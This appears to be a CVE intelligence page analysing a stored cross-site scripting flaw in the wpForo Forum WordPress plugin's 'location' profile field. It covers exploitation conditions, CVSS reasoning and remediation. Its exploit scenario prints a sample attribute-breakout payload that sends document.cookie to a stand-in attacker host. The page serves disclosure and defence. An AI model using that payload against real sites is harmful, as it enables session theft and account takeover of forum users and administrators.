Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessRegister subscriber account on target WordPress site
-
DeliverySet location profile field to attribute-breakout XSS payload
-
ExploitServer stores unsanitized payload in database
-
ExecutionAdmin or user navigates to attacker profile page
-
PersistBrowser renders unencoded double quotes and executes injected event handler
-
ImpactSteal session token or perform privileged action as victim
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the attacker to hold at minimum a subscriber-level WordPress account on the target site - unauthenticated exploitation is not possible (CVSS PR:L). The vulnerable input vector is specifically the 'location' profile field in the wpForo Forum user profile form; exploitation is not possible through other profile fields unless separately confirmed vulnerable. A victim user (attacker-independent) must subsequently visit or load a page rendering the attacker's profile for the stored payload to execute in the victim's browser session. On WordPress sites with open user registration enabled (a common default), the subscriber-account prerequisite represents a low real-world barrier. Exploitation is limited to wpForo Forum installations on versions 3.1.1 and below; the CWE-79 mechanism does not require any non-default WordPress or server configuration beyond having the plugin active. |
| Impact | The CVSS 6.4 Medium score reflects meaningful but bounded risk. The key enabling signal is S:C (scope change), confirming the exploit transcends the submitting user's session and can affect administrators - raising the effective business impact above the base score might suggest. PR:L constrains exploitation to registered (subscriber-level) users, which on sites with open registration may represent a very low barrier. The provided CVSS vector specifies UI:N, which is atypical for stored XSS: exploitation requires a victim to view the injected page, suggesting the NVD or reporter vector should carry UI:R - this discrepancy should be verified with Wordfence or the WordPress plugin team, as UI:N would be unusual for this attack class. No EPSS score was provided in the intelligence package; without it, probability-of-exploitation cannot be quantified. There is no CISA KEV listing and no explicit POC reference, so active exploitation is not confirmed. The WordPress plugin ecosystem's scale (millions of sites) makes medium-severity authenticated XSS in a popular forum plugin a realistic, if not urgent, patching priority, particularly for sites with open user registration. |
| Exploit ScenarioDerived | An attacker registers a free subscriber account on a WordPress site running wpForo Forum 3.1.1 or earlier, then sets the 'location' profile field to a crafted payload such as " onclick="fetch('https://attacker.example/steal?c='+document.cookie) - this breaks out of the href attribute and injects a JavaScript event handler. When an administrator or any other authenticated user subsequently views the attacker's forum profile, the injected script executes in their browser session, potentially exfiltrating session cookies or performing actions under the victim's identity. No public POC has been identified, but the attack technique (attribute breakout via unencoded double quotes) is well-documented and trivially reproducible by anyone familiar with basic XSS. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 16, 2026
Stored Cross-Site Scripting in the wpForo Forum WordPress plugin (all versions through 3.1.1) allows authenticated attackers with subscriber-level access to permanently inject malicious JavaScript via the 'location' profile field. The root failure is WordPress's native sanitize_text_field() function, which strips tags but leaves double quotes unencoded, enabling attribute breakout from an href context into injected event-handler attributes. With a CVSS scope change (S:C), successful exploitation can impact sessions of any user - including administrators - who views a poisoned profile page, enabling session hijacking or privilege escalation. No public exploit or CISA KEV listing has been identified at time of analysis.
RemediationAI
A code-level fix is referenced by the WordPress plugin trac changeset at https://plugins.trac.wordpress.org/changeset?reponame=&old=3603849%40wpforo&new=3603849%40wpforo; however, the exact patched release version is not confirmed from the available intelligence data - site administrators should update wpForo Forum to the latest version available in the WordPress Plugin Directory and verify the installed version exceeds 3.1.1. The remediation must switch from sanitize_text_field() to proper HTML attribute encoding (e.g., esc_attr() in WordPress) on output of the location field in Forms.php (lines ~1035, ~1074) and Members.php (line ~1031). As a compensating control while patching is pending, administrators can restrict new user registrations to prevent unauthenticated individuals from obtaining subscriber accounts, or limit access to profile editing for subscriber-level users via role management plugins. The trade-off of restricting registration is that it disables forum onboarding; limiting profile editing may break intended forum functionality. Full details are at https://www.wordfence.com/threat-intel/vulnerabilities/id/2cd364c5-c053-4c50-8232-bb47ab8e834b.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
wpForo Forum (CPE: cpe:2.3:a:tomdever:wpforo_forum) is a WordPress plugin providing community forum functionality. The vulnerability resides in the 'location' profile field, processed in Forms.php (lines 1035, 1074) and Members.php (line 1031) as confirmed by the WordPress plugin trac source references for both the 3.0.5 and 3.1.1 tags. CWE-79 (Improper Neutralization of Input During Web Page Generation) describes the root class: user-supplied input is stored and later rendered in an HTML attribute context without proper output encoding. The specific failure is reliance on WordPress's sanitize_text_field() at input time, which strips HTML tags and encodes some characters but does NOT encode double quotes. An attacker can supply a payload such as [space]" onclick="payload that terminates the href attribute value and injects an event-handler attribute, which the browser executes when a user interacts with or simply loads the rendered element. Because the injected script runs in the victim's browser session, the effective scope extends beyond the submitting user to any viewer of that profile page.
Know when Wpforo Forum gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Stored XSS requires victim to load the injected page (UI:R); subscriber auth required (PR:L); scope change confirmed as payload executes in other users' sessions (S:C).
Primary rating from Vendor (Wordfence).
CVSS VectorVendor: Wordfence
DescriptionCVE.org
The wpForo Forum plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'location' Profile Field in all versions up to, and including, 3.1.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The sanitize_text_field() function applied at input does not encode double quotes, allowing attribute breakout via a payload that escapes the href attribute context and injects event handler attributes.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
More in Wpforo Forum
View allThe wpForo Forum plugin for WordPress is vulnerable to Local File Include, Server-Side Request Forgery, and PHAR Deseria
PHP object injection in the wpForo Forum WordPress plugin before 3.1.6 lets an authenticated attacker with Subscriber-le
The wpForo Forum plugin for WordPress is vulnerable to SQL Injection via the 'slug' attribute of the 'wpforo' shortcode
The wpForo Forum WordPress plugin before 2.1.9 does not escape some request parameters while in debug mode, leading to a
The wpForo Forum WordPress plugin before 1.9.7 did not validate the redirect_to parameter in the login form of the forum
wpforo_get_request_uri in wpf-includes/functions.php in the wpForo Forum plugin before 1.4.12 for WordPress allows Unaut
Authentication bypass in the wpForo Forum WordPress plugin versions 3.1.0 and earlier allows remote unauthenticated atta
Unauthenticated PHP Object Injection in the wpForo Forum WordPress plugin versions 3.1.0 and earlier allows remote attac
Stored cross-site scripting in wpForo Forum WordPress plugin before 3.1.2 allows a subscriber-level authenticated user t
Insecure Direct Object Reference (IDOR) in the wpForo Forum WordPress plugin before 3.1.2 allows any subscriber-level au
Unauthenticated SQL injection in the wpForo Forum WordPress plugin (versions 3.0.4 and earlier) allows remote attackers
Rate-limit bypass in the wpForo Forum WordPress plugin (3.0.0 up to but not including 3.1.6) allows unauthenticated remo
EUVD-2026-44899
GHSA-76cp-m73j-f6wq
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB